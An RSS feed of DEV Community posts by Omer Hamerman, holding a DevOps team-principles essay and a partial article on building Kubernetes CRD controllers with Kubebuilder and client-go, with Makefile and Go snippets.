<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Omer Hamerman</title>
    <description>The latest articles on DEV Community by Omer Hamerman (@omerxx).</description>
    <link>https://dev.to/omerxx</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F173798%2F75fca922-4e23-4313-91a0-ac4ddc8d9739.jpg</url>
      <title>DEV Community: Omer Hamerman</title>
      <link>https://dev.to/omerxx</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/omerxx"/>
    <language>en</language>
    <item>
      <title>The DevOps Manifesto</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Mon, 20 Feb 2023 10:12:03 +0000</pubDate>
      <link>https://dev.to/aws-builders/the-devops-manifesto-567f</link>
      <guid>https://dev.to/aws-builders/the-devops-manifesto-567f</guid>
      <description>&lt;p&gt;Knowing what you want, having a vision, or a guiding light if you will, isn't always enough. Matters can quickly get out of hand in a team, especially one that is growing exponentially and fast.&lt;/p&gt;

&lt;p&gt;This is one of the reasons I decided to compile a list of "DevOps engineering principles". It was important for me to create a basic structure, something that could be shared, discussed, and reinforced periodically.&lt;/p&gt;

&lt;p&gt;Most of it came from mentors I had or glorious failures I experienced over the years.&lt;br&gt;
This is the idea:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Take a stand and make a decision&lt;/li&gt;
&lt;li&gt;Every point can be discussed and debated&lt;/li&gt;
&lt;li&gt;Upon discussion and agreements, we use it as our guiding light&lt;/li&gt;
&lt;li&gt;Observe, assess, make adjustments, keep moving&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Document everything
&lt;/h2&gt;

&lt;p&gt;The number of "DevOps questions" asked daily by internal teams is too high. Whether it's newly hired engineers or instructions that have already been forgotten. By documenting things, you will be able to both link to the document and gradually engrain the habit of searching the docs before asking a question.&lt;/p&gt;

&lt;p&gt;Our team tries to document everything it can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Whenever we experience a production failure, or something goes wrong, such as a breaking change of an external library hitting us or introducing new limitations by a provider (&lt;em&gt;cough&lt;/em&gt; DOCKER &lt;em&gt;cough&lt;/em&gt;), we write it up as a post mortem. Anyone reading it can understand what went wrong, even if they were not involved, and maybe learn something. In order to prevent a recurrence, a post-mortem should conclude with &lt;strong&gt;action items&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;There's nothing like a good ol' instruction page to explain something once and for all, whether it's logging into a Docker registry or running localstack to mimic a serverless environment.&lt;/li&gt;
&lt;li&gt;Research - Being a DevOps team in a DevOps company involves a lot of research. It is easy to follow, understand, remind yourself and others of findings and lessons learned when it is documented, and equally important, it prevents rework and re-examination.&lt;/li&gt;
&lt;li&gt;How-tos - Oftentimes, we find ourselves instructing something very 'simple', in or two sentences. Even then, a document can be very helpful in providing additional context. Having a "search-the-docs" culture and a habit of documenting everything has a compounding effect.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In particular, we use Notion for all things documentation. There's no way to say whether that's objectively "the finest". As readers and writers alike, we find it more inviting, easy to use and feature-rich.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ask questions / always open a &lt;strong&gt;discussion&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Experts working in their own bubbles and sharing information randomly miss the point. Creating a habit of discussing is beneficial to &lt;strong&gt;everyone&lt;/strong&gt;; The one asking may learn something they did not know or consider, the responder shares their expertise, and passive readers gain enriched knowledge "for free".&lt;/p&gt;

&lt;p&gt;A culture of "there are no stupid questions", is easy to decalre and hard to practice, but the benefits are incredible. I'd say the distance between something so un-measureable yet so valuable is amazing.&lt;/p&gt;

&lt;p&gt;Principles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Don't be afraid to ask questions&lt;/li&gt;
&lt;li&gt;Don't be afraid to challenge anything&lt;/li&gt;
&lt;li&gt;Are you bringing an innovative idea to the table? Come prepared to be challenged&lt;/li&gt;
&lt;li&gt;Create a discussion everywhere - Slack groups (not private chats), notion comments, pull-request remarks. The discussion may be of interest to the team, but it's happening far from their eyes (e.g. a Github PR)? Invite others to read and participate by linking it in the team's channel&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Think lean, &lt;strong&gt;speed&lt;/strong&gt; and quality
&lt;/h1&gt;

&lt;p&gt;The point here is not to do things quickly, but to create things that &lt;em&gt;work quickly&lt;/em&gt;. Spend more time setting up processes, so that you can not only save time down the road, but also help others reap the rewards of your labor.&lt;/p&gt;

&lt;p&gt;In the world of DevOps, this takes the form of&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lean applications - Cut out unnecessary layers of complexity / attack vectors / loading of literally everything in the way (downloading, pulling, installing, packing, etc.). E.g. pulling a 50Mb JavaScript library to create random numbers.&lt;/li&gt;
&lt;li&gt;Lean packages - Zip packages uploaded to Lambda, for instance, can sometimes be compressed further, or unnecessarily packed with non-production content&lt;/li&gt;
&lt;li&gt;Lean containers - Can be based on &lt;code&gt;alpine&lt;/code&gt; or &lt;code&gt;:slim&lt;/code&gt; tags. Can use fewer Docker layers, and utilize multi-step build containers to only carry essential production components&lt;/li&gt;
&lt;li&gt;Lean CI - The list of examples is endless, but steps can use cache from other steps, use lighter images (see lean containers), or perhaps run in parallel to save time and speed up the production process. Consequently, other jobs and applications have more time to work, the build queue is shortened, and resources are used less. There is an exponential effect.&lt;/li&gt;
&lt;li&gt;Utilizing cache - Whether it be between CI steps, Docker layers, query results stored in Redis, pre-built images and, of course, using a CDN.Cache is a driver of speed and efficiency, apply wherever possible&lt;/li&gt;
&lt;li&gt;Before hacking your way through, do things in the &lt;strong&gt;native way&lt;/strong&gt;. "Read the docs instead of writing another bash command" or "Search the knowledge base before spending a day creating your own environment" are two quotes we used recently. System features often include solutions for what most engineers need. There are too many reasons to list why "hacking as a standard" is counterproductive in large teams.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Think &lt;strong&gt;Security&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Although this is a big one, here's a short list:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MFA - For everything. The effects of this security layer are mind-blowing yet it is surprisingly easy to implement&lt;/li&gt;
&lt;li&gt;Secrets management - Too often overlooked when it shouldn't be. A dedicated manager should be responsible for managing secrets. Not in a Git repository, not as an encrypted text file, not on the CI server (although not as severe).&lt;/li&gt;
&lt;li&gt;Run resources on private networks. In a DevOps team, this goes without saying. With developers literally testing the cloud (did I mention we're a DevOps company?) it's hard to educate, let alone enforce. However, all resources should run privately and be accessed through a &lt;a href="https://omerxx.com/identity-aware-proxy-ecs/" rel="noopener noreferrer"&gt;zero-trust proxy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Segregate environments - Good - separate VPCs, Better - unpeered networks, Best - separate accounts and use different access groups&lt;/li&gt;
&lt;li&gt;Using WAF as an example: use whatever deployable tool you have in your toolkit to make attackers' lives difficult. Utilize zero-trust, limit network access, create complex password policies, and enforce multi-factor authentication. Maintain your devs' sanity while limiting attack vectors&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Networking&lt;/strong&gt; structure
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;HA - It is a principle in and of itself to ensure high availability. When designing an architecture, building production (and staging) environments, or running log aggregation systems, HA should be considered. You are guaranteed to spend time on a failure if you let something slip under the radar. The following is an example of a recent real issue - a self-managed ELK cluster hanging by a thread on an AWS spot instance serving the entire R&amp;amp;D department. Fortunately, we spotted the problem in time&lt;/li&gt;
&lt;li&gt;Cost efficiency - Terminology first: cost-efficient does not mean cost-reduction. The concept of efficiency can be viewed in a variety of ways, such as utilizing VPC endpoints for private, quick, and cost-effective solutions, or using spot instances for non-critical operations. A container can also be used over a serverless function that lasts a long time, or the opposite when the job runs in a few milliseconds, and a container/instance isn't a good option&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Everything &lt;strong&gt;as code&lt;/strong&gt;
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Infrastructure as code. There are no words to describe how important this is. Just do it, as the saying goes.&lt;/li&gt;
&lt;li&gt;Meaningful commit messages - It is incredibly useful to have meaningful messages, for history searching, formatting, debugging, compiling change-logs, and so on.&lt;/li&gt;
&lt;li&gt;Use a Git system whenever possible. Is it time to update a WordPress plugin? Is it time to upgrade the infrastructure? (It's all coded now, isn't it?). Changing the permissions of a group? Is a secret being updated? &lt;strong&gt;USE GIT&lt;/strong&gt;. The number of cases I've solved by comparing multiple Git histories is beyond my ability to count. It's not for nothing that Git was once &lt;a href="https://medium.com/@shemnon/is-a-git-repository-a-blockchain-35cb1cd2c491" rel="noopener noreferrer"&gt;compared to a blockchain&lt;/a&gt;. The Git repository holds the entire (almost) history of the project, so use it wisely!&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Backup everything!
&lt;/h2&gt;

&lt;p&gt;It's kind of a "no-s**t-sherlock" thing, but still, it's amazing how often backups are not available when they're most needed. As such, I consider it relevant to list it as a "principle" even though it has been a common best practice since ancient times.&lt;/p&gt;

&lt;p&gt;By automating backups, hours of work, pain, and sorrow can be saved. Most cloud platforms offer backups as part of their products, so you just need to turn them on. As an example, let's look at AWS:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;RDS will enable backups and require a timeframe and a retention periods&lt;/li&gt;
&lt;li&gt;S3 can have versioning turned on&lt;/li&gt;
&lt;li&gt;EC2 (unless used as cluster nodes) can be snapshotted&lt;/li&gt;
&lt;li&gt;EBS snapshots are just as straight forward
It goes on and on with ECS task-definition versions, Lambda functions, DynamoDB tables, etc. All provide some form of data backup and restoration for point-in-time recovery. Don't call a task "backlog" or "tech debt", because by the time it's needed, the Jira ticket will no longer be efficient. In the army, there is a saying that states "these instructions were written in blood" (softening the analogy: systems experienced downtime). In other words, they are there to teach a lesson learned from others' unfortunate experiences, and they have a good basis for doing so.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Another AWS specific but has counterparts in other platforms: &lt;a href="https://aws.amazon.com/backup/" rel="noopener noreferrer"&gt;AWS Backup&lt;/a&gt; can help with the "heavy" lifting of most backup services.&lt;/p&gt;

&lt;p&gt;One extremely important point to note here is that backups need to be regularly tested! It’s never enough to “know they’re there”. When the fit hits the shan 😉 they may actually not work, or just as bad - there’s no knowledge of how to apply them.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Build to last&lt;/strong&gt;, self-heal, and think of future maintainers
&lt;/h2&gt;

&lt;p&gt;For one minute, imagine you were fighting yet-another-fire caused by a hacky script, or a poor choice of technology, grunting quietly and cursing at an engineer leaving legacy code. Instead of becoming someone else's future headache, try being the source of quality and standards. My belief is that this has a compounding effect, where others learn from engineers and apply, and their names are kept in a positive light long after they are gone.&lt;br&gt;
With that in mind, try being the source of quality and standards rather than a future headache. I honestly believe, this has a compounding effect, where others learn and apply, and engineers' names are kept in positive aspects long after they've left.&lt;/p&gt;

&lt;h2&gt;
  
  
  Change management and reviews for everything
&lt;/h2&gt;

&lt;p&gt;Keep changes managed. Those of you who have read &lt;a href="https://www.amazon.co.uk/Phoenix-Project-DevOps-Helping-Business/dp/0988262592" rel="noopener noreferrer"&gt;The Phonix Project&lt;/a&gt; will likely have an image of sticky notes on walls describing a practically-non-existent change management system. Things don't get missed when a change management process is in place, preferably with a chain of approval and quality review process. Even more importantly, the engineers evolve, and production tends not to burst into flames. There's nothing like review for sharing ideas, concepts, conventions and standards!&lt;br&gt;
It can be applied to almost anything; from code to infrastructure to blog posts to landing pages.&lt;/p&gt;

&lt;h2&gt;
  
  
  Staging first
&lt;/h2&gt;

&lt;p&gt;Despite staging (and other environments) being well-known for handling changes and testing them, they are too often ignored when it comes to operations-related systems. Exactly these types of systems should begin with a staging environment.&lt;br&gt;
Yes, they are usually not customer-facing, but they serve all others and ensure that they are safe, healthy, and functional. CI servers, alert systems, and container orchestrators are all essentials for the production environment. Even if they're consumed as a service, in spite of the fact that they are all managed by a company you trust, they still suffer from many of the known pain points; versions can be upgraded, changes can break, retention can run out, and capacities can be reduced. "Staging First" is a concept that argues that &lt;strong&gt;everything&lt;/strong&gt; should be staged in a separate environment before changes get to production. These should also be separated by accounts and user logins, for security, but also for human error and blast radius management.&lt;/p&gt;




&lt;h2&gt;
  
  
  Aftermath
&lt;/h2&gt;

&lt;p&gt;This is by no means a comprehensive list. These are principles we developed as a team, agreed on, and adopted. You are invited to challenge them, add or suggest changes, and create a fruitful discussion around them. Let's face it, we're all here to learn, otherwise what's the point? ;)&lt;/p&gt;

&lt;p&gt;Thank you for reading 🖤 &lt;br&gt;&lt;br&gt;
Feel free to reach out with questions or comments.&lt;/p&gt;

</description>
      <category>discuss</category>
    </item>
    <item>
      <title>10 Things I wish I’d known before building a Kubernetes CRD controller</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Mon, 29 Aug 2022 14:19:00 +0000</pubDate>
      <link>https://dev.to/omerxx/10-things-i-wish-id-known-before-building-a-kubernetes-crd-controller-1cl3</link>
      <guid>https://dev.to/omerxx/10-things-i-wish-id-known-before-building-a-kubernetes-crd-controller-1cl3</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Give me six hours to chop down a tree and I will spend the first four sharpening the axe.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A. Lincoln&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Well I didn't even know there was an axe... K8s resources, in that context, are one heck of a tree to chop. You better come ready to work. I hope that this information will find the axe for someone out there and smooth out the process.&lt;/p&gt;




&lt;h1&gt;
  
  
  Controllers? Operators? CRDs?
&lt;/h1&gt;

&lt;p&gt;Let's bring some order to the chaos. K8s documents the notions of &lt;a href="https://kubernetes.io/docs/concepts/architecture/controller/"&gt;controllers&lt;/a&gt; and &lt;a href="https://kubernetes.io/docs/concepts/extend-kubernetes/operator/"&gt;operators&lt;/a&gt;. The reader may be puzzled by the subtle differences between the two after reading them both.&lt;/p&gt;

&lt;p&gt;An "Operator" is a pretty name coined by &lt;a href="https://web.archive.org/web/20170129131616/https://coreos.com/blog/introducing-operators.html"&gt;CoreOS&lt;/a&gt; back in 2016, to describe the concept of managing application infrastructure using controllers and custom resources.&lt;/p&gt;

&lt;p&gt;K8s Custom Resource Definitions (CRDs) allow users to extend the system with the same tools used to create and manage Pods, ReplicaSets, StatefulSets, and ConfigMaps. This notion is discussed in the "kubebuilder" book - &lt;a href="https://book.kubebuilder.io/cronjob-tutorial/cronjob-tutorial.html"&gt;"Building a CronJob"&lt;/a&gt; tutorial.&lt;br&gt;
The creation of a &lt;code&gt;CronJob&lt;/code&gt; component using an existing &lt;code&gt;Job&lt;/code&gt; resource is an incredible example of an operator or controller.&lt;br&gt;
In a &lt;a href="*https://www.youtube.com/watch?v=AUNPLQVxvmw"&gt;2018 keynote in KubeCon&lt;/a&gt;, Maciej Szulik, the creator of CronJob actually claimed its not yet implemented with a full on controller features.&lt;/p&gt;

&lt;p&gt;Described in the K8s docs, a "controller" is a component that utilizes a control loop to bring the "desired state" of the system to its actual state. An operator is, in that sense, a controller with a CRD, and a story.&lt;/p&gt;


&lt;h1&gt;
  
  
  Kubernetes is a Database
&lt;/h1&gt;

&lt;p&gt;In a &lt;a href="https://overcast.fm/+MqPlklnlw"&gt;K8s podcast episode&lt;/a&gt;, Daniel Smith, Co-TL of SIG API, explains a powerful concept; "K8s is more like a database than an event-driven system". He explains that instead of having different components communicating with one another, K8s holds information like a database. This information is the &lt;strong&gt;state of the cluster&lt;/strong&gt;. An update or creation of a resource will result in a new &lt;strong&gt;desired state&lt;/strong&gt;. Through a control loop, the controller takes care of achieving the desired state as events of its kind are received. Through iterations of the control loop, the desired state is reconciled with the existing state.&lt;/p&gt;

&lt;p&gt;"Reconciliation" is noted here as the coined term for achieving &lt;a href="https://www.merriam-webster.com/dictionary/equilibrium"&gt;equilibrium&lt;/a&gt;. You'll find the &lt;code&gt;Reconcile&lt;/code&gt; loop in most controllers as the heart of the logic, and where events start their way.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;K8s is more like a database, then an event-driven system.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h1&gt;
  
  
  Start with Kubebuilder, read the book!
&lt;/h1&gt;

&lt;p&gt;I wish someone had told me that. There are so many resources out there on how to build K8s operators and controllers, some like the Operator Framework automate things even further, helping the user construct operators based on native language, Helm, and others.&lt;/p&gt;

&lt;p&gt;That said, &lt;a href="https://github.com/kubernetes-sigs/kubebuilder"&gt;Kubebuilder&lt;/a&gt;, does most of this work for you already, and IMHO, better. It comes with a (really incredible) piece of documentation: &lt;a href="https://book.kubebuilder.io/"&gt;The Kubebuilder Book&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A must read, if you plan to build a K8s controller.&lt;/p&gt;

&lt;p&gt;The book takes the reader from concept, through a real-life example and its step-by-step development process. It covers code generation, APIs, concepts of control loops and reconciliation, deployment and local development.  Almost every piece of information needed for such a project.&lt;/p&gt;

&lt;p&gt;The author has put a lot of care into writing the book and it's easy to read. The concepts explored in the text are interesting and come with code snippets to underscore the points.&lt;/p&gt;


&lt;h1&gt;
  
  
  CRDs don’t create metadata by default
&lt;/h1&gt;

&lt;p&gt;Now that's a surprise, I had to double-check the data thoroughly to work out that &lt;code&gt;metaData&lt;/code&gt; was never there. You can't find it anywhere on the root-level and it's seemed to be missing everywhere else.&lt;/p&gt;

&lt;p&gt;My own case involves the creation of a &lt;code&gt;statefulSet&lt;/code&gt; as part of my CRD, which I thought would be treated as a first-class citizen. On the contrary; nested meta objects will be ignored unless instructed specifically not to be. I don't have answers to "why" (even though treated as a &lt;a href="https://github.com/kubernetes-sigs/controller-tools/issues/448"&gt;bug&lt;/a&gt;), only the "how":&lt;/p&gt;

&lt;p&gt;In its &lt;a href="https://book.kubebuilder.io/reference/controller-gen.html"&gt;docs&lt;/a&gt;, the Code Gen CLI, sates the additional option to set &lt;code&gt;crd:generateEmbeddedObjectMeta=true&lt;/code&gt; to allow nested meta objects. In the context of the makefile code generator, this would look something along the lines of:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight make"&gt;&lt;code&gt;&lt;span class="nl"&gt;.PHONY&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;manifests&lt;/span&gt;
&lt;span class="nl"&gt;manifests&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;controller-gen &lt;/span&gt;&lt;span class="c"&gt;##&lt;/span&gt;&lt;span class="nf"&gt; Generate WebhookConfiguration&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nf"&gt; ClusterRole and CustomResourceDefinition objects.&lt;/span&gt;
    &lt;span class="nv"&gt;$(CONTROLLER_GEN)&lt;/span&gt; rbac:roleName&lt;span class="o"&gt;=&lt;/span&gt;manager-role &lt;span class="se"&gt;\&lt;/span&gt;
                    crd:generateEmbeddedObjectMeta&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;,maxDescLen&lt;span class="o"&gt;=&lt;/span&gt;0 &lt;span class="se"&gt;\&lt;/span&gt;
                    webhook &lt;span class="nv"&gt;paths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"./..."&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
                    output:crd:artifacts:config&lt;span class="o"&gt;=&lt;/span&gt;config/crd/bases
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You may also note the &lt;code&gt;maxDescLen=0&lt;/code&gt;; During the development process (and afterwards), the amount of sheer text generated to every piece of the resource documentation is unbearable. Just try to &lt;code&gt;kubectl describe&lt;/code&gt; your resource to find your terminal slowly losing its history. This doesn't have to be "0", but can help bring the lines of text to a manageable situation.&lt;/p&gt;




&lt;h1&gt;
  
  
  Interacting with CRDs outside the controller’s context is not straight forward
&lt;/h1&gt;

&lt;p&gt;CRDs are great. You can create any &lt;em&gt;kind&lt;/em&gt; (pun not intended) of object in K8s and manage it using a controller.&lt;/p&gt;

&lt;p&gt;What about trying to interact with it outside of the controller's context? You may be tempted to ask "why would anyone do that". The way I see it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Customers may want to interact with this production service using their own controller or &lt;a href="https://www.cncf.io/blog/2019/10/15/extend-kubernetes-via-a-shared-informer/"&gt;informer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Depending on the system built, other pieces of software may need access to the object produced. Exactly this was the usecase I had to deal with - a Daemonset pod that updated data on new types of CRDs based on node-centered events.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is relatively straight-forward to access all native resources with &lt;a href="https://github.com/kubernetes/client-go"&gt;client-go&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;clientSet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;kubernetes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewForConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;pods&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;clientSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CoreV1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pods&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Custom resources, however, not only require you to obtain the relevant types for the object, once you do so, there is no client exported or generated for you. Additionally, once you finally reach the client you were looking for, you discover a full-on raw HTTP API with unstructured JSON requests and responses. Working this way isn't fun (or safe).&lt;/p&gt;

&lt;h3&gt;
  
  
  Discovery number one: "The dynamic client"
&lt;/h3&gt;

&lt;p&gt;The &lt;a href="https://github.com/kubernetes/client-go/tree/master/dynamic"&gt;dynamic client&lt;/a&gt; for K8s is described well in this &lt;a href="https://caiorcferreira.github.io/post/the-kubernetes-dynamic-client/"&gt;blog post&lt;/a&gt;. The TL;DR is that it allows direct access to any kind of object within the cluster, whether structured or not. Here is one of the main components of the dynamic client that deals with &lt;code&gt;unstructured&lt;/code&gt; objects:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;unstructured.Unstructured&lt;/code&gt;: This is a special type that encapsulates an arbitrary JSON while also complying with standard Kubernetes interfaces like &lt;code&gt;runtime.Object&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://caiorcferreira.github.io/post/the-kubernetes-dynamic-client/"&gt;The Kubernetes dynamic client&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Provided a &lt;code&gt;schema.GroupVersionResource&lt;/code&gt; (&lt;a href="https://ddymko.medium.com/understanding-kubernetes-gvr-e7fb94093e88"&gt;GVR&lt;/a&gt;), the dynamic client will fetch the CRD object and return it as an unstructured data object:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Background&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;gvr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;schema&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GroupVersionResource&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;Group&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"group.example.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;Version&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"v1alpha1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;Resource&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"myresource"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;returnedObj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Resource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gvr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
                    &lt;span class="n"&gt;Namespace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"default"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
                    &lt;span class="n"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"myresource-sample"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;metav1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetOptions&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's all fine and dandy, but what do you actually do with raw data if you need to do more than just parse it? According to the post mentioned above, you can modify nested data fields using functions like &lt;code&gt;unstructured.NestedInt64&lt;/code&gt;, parsing and changing raw data in-place and returning it back to the cluster.&lt;/p&gt;

&lt;p&gt;It felt like there was more to it:&lt;/p&gt;

&lt;h3&gt;
  
  
  Discovery number two: "The DefaultUnstructuredConverter"
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;runtime&lt;/code&gt; library exposes a converter function with a &lt;code&gt;FromUnstructured&lt;/code&gt; method for unmarshaling data into the known CRD type. This creates typed, mutable, and accessible information from the unstructured data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;myResource&lt;/span&gt; &lt;span class="n"&gt;MyResourceType&lt;/span&gt;
&lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
      &lt;span class="n"&gt;DefaultUnstructuredConverter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
      &lt;span class="n"&gt;FromUnstructured&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;returnedObj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UnstructuredContent&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;myResource&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From fetching the object to parsing and manipulating it away from the context of the controller, that's a complete interaction with a CRD.&lt;/p&gt;

&lt;p&gt;Since my use-case involves customers, I wanted to provide them the option to interact with the generated objects, so I exposed it through my own client using a few simple methods that handled CRUD logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
